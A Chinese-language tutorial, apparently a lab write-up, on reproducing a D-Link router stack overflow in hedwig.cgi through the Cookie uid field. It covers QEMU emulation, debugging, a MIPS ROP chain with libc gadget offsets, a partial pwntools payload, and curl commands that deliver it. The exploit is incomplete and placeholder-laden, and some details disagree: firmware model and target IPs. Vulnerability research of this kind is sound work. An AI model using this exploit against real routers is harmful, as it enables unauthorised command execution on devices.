DLink 645路由器栈溢出漏洞分析与复现
字数 1517 2025-08-30 06:50:27
DLink DIR-645路由器栈溢出漏洞分析与复现教程
1. 准备环境
1.1 固件获取与解压
- 下载DIR-815固件:
DIR-815_FIRMWARE_1.01.ZIP - 使用binwalk解压固件:
binwalk -e DIR-815_FIRMWARE_1.01.ZIP - 解压后得到MIPS32小端序文件系统(通过检查
/bin/busybox确认)
1.2 QEMU模拟环境搭建
-
下载MIPS架构内核镜像和文件系统:
- 访问:
Index of /~aurel32/qemu/mipsel
- 访问:
-
创建QEMU启动脚本
run.sh:qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic- 默认登录凭证:root/root 或 user/user
-
网络配置:
- 宿主机创建网卡脚本
net.sh:#!/bin/sh sudo tunctl -t tap0 -u `whoami` sudo ifconfig tap0 192.168.100.1/24 - QEMU虚拟机内配置脚本
net.sh:#!/bin/sh ifconfig eth0 192.168.100.2 netmask 255.255.255.0 route add default gw 192.168.100.1
- 宿主机创建网卡脚本
-
文件传输:
- 压缩文件系统:
tar -czvf squashfs-root.tar.gz squashfs-root/ - 宿主机启动HTTP服务:
python3 -m http.server 8000 - QEMU内下载:
wget http://192.168.100.1:8000/squashfs-root.tar.gz
- 压缩文件系统:
2. 漏洞分析
2.1 漏洞定位
- 漏洞文件:
/htdocs/web/hedwig.cgi(实际是/htdocs/cgibin的软链接) - 关键函数调用链:
main → hedwigcgi_main → cgibin_parse_request → sess_get_uid
2.2 漏洞原理
-
Cookie解析:
- 从
HTTP_COOKIE环境变量中提取uid=后面的内容 - 示例:
Cookie: uid=AAAAAAAA...
- 从
-
栈溢出点:
char v27[0x400]; // 缓冲区大小1024字节 sprintf(v27, "<%s>%s</%s>", v6, v6, v6); // 第一次格式化- 如果满足条件会执行第二次
sprintf,导致双重溢出
- 如果满足条件会执行第二次
-
触发条件:
- 必须存在
/var/tmp目录(需手动创建) - 需要设置
REQUEST_URI环境变量 - POST请求内容需符合特定格式
- 必须存在
3. 漏洞利用
3.1 MIPS架构特性
-
叶子函数与非叶子函数:
- 叶子函数:不调用其他函数,返回地址存储在
$ra寄存器 - 非叶子函数:调用其他函数,返回地址保存在栈上
- 叶子函数:不调用其他函数,返回地址存储在
-
寄存器保存:
- 非叶子函数会在prologue保存
$s0-$s7和$fp到栈上 - 栈溢出时可控制这些寄存器
- 非叶子函数会在prologue保存
-
流水线效应:
- 分支延迟槽:跳转指令后的指令会先执行
- 缓存不一致性:需调用
sleep让shellcode从数据缓存同步到指令缓存
3.2 动态调试
-
用户模式调试:
# 生成测试payload cyclic 2000 > payload # 执行测试 INPUT=$(cat payload) export REQUEST_URI="/" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=$INPUT" echo $INPUT | chroot . ./qemu-mipsel -E REQUEST_URI=/ -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE="uid=$INPUT" -g 1234 /htdocs/cgibin -
GDB调试命令:
gdb-multiarch htdocs/cgibin target remote :1234 b *hedwigcgi_main
3.3 ROP链构造
-
纯ROP利用:
- 注意
system地址末位\x00会被截断 - 解决方法:传入
system_addr-1,通过addiu ..., 1调整
- 注意
-
ROP+Shellcode:
- 必须避免shellcode中包含
\x00 - 需要先调用
sleep解决缓存不一致问题
- 必须避免shellcode中包含
3.4 系统模式利用
-
方法一:直接传payload:
- 使用gdbserver调试:
./gdbserver.mipsel 192.168.100.2:6666 /htdocs/cgibin - 示例exp:
# 构造ROP链和shellcode # 发送payload到目标
- 使用gdbserver调试:
-
方法二:HTTP报文攻击:
- 配置
http_conf服务 - 发送精心构造的HTTP请求到
192.168.192.133:1234
- 配置
4. 完整利用流程
4.1 准备工作
- 创建
/var/tmp目录 - 配置必要的环境变量:
export REQUEST_URI="/" export CONTENT_TYPE="application/x-www-form-urlencoded"
4.2 构造Payload
from pwn import *
context.endian = 'little'
context.arch = 'mips'
# libc基址偏移
libc_base = 0x2aaf8000
# gadget计算
system = libc_base + 0x53200 - 1 # 减1避免\x00
addiu_s0_1_jr_s0 = libc_base + 0x31A44
sleep = libc_base + 0x4D330
# ROP链构造
rop = b""
rop += p32(addiu_s0_1_jr_s0)
rop += p32(system)
rop += b"cmd\x00"
# 填充缓冲区
payload = b"A"*1024 # 偏移量需根据实际情况调整
payload += rop
4.3 执行攻击
# 方法一:直接传payload
echo -ne "uid=$payload" | chroot . ./qemu-mipsel /htdocs/cgibin
# 方法二:通过HTTP
curl -X POST -H "Cookie: uid=$payload" http://192.168.192.133:1234/hedwig.cgi
5. 参考资源
- MIPSROP工具:https://github.com/tacnetsol/ida
- QEMU镜像:Index of /~aurel32/qemu/mipsel
- gdbserver:对应架构的gdbserver.mipsel
注意事项
- 用户模式下无法使用
fork(),需在系统模式下测试 - 确保所有环境变量正确设置
- 注意MIPS架构的特殊性(流水线效应、缓存不一致等)
- 实际偏移量需通过动态调试确定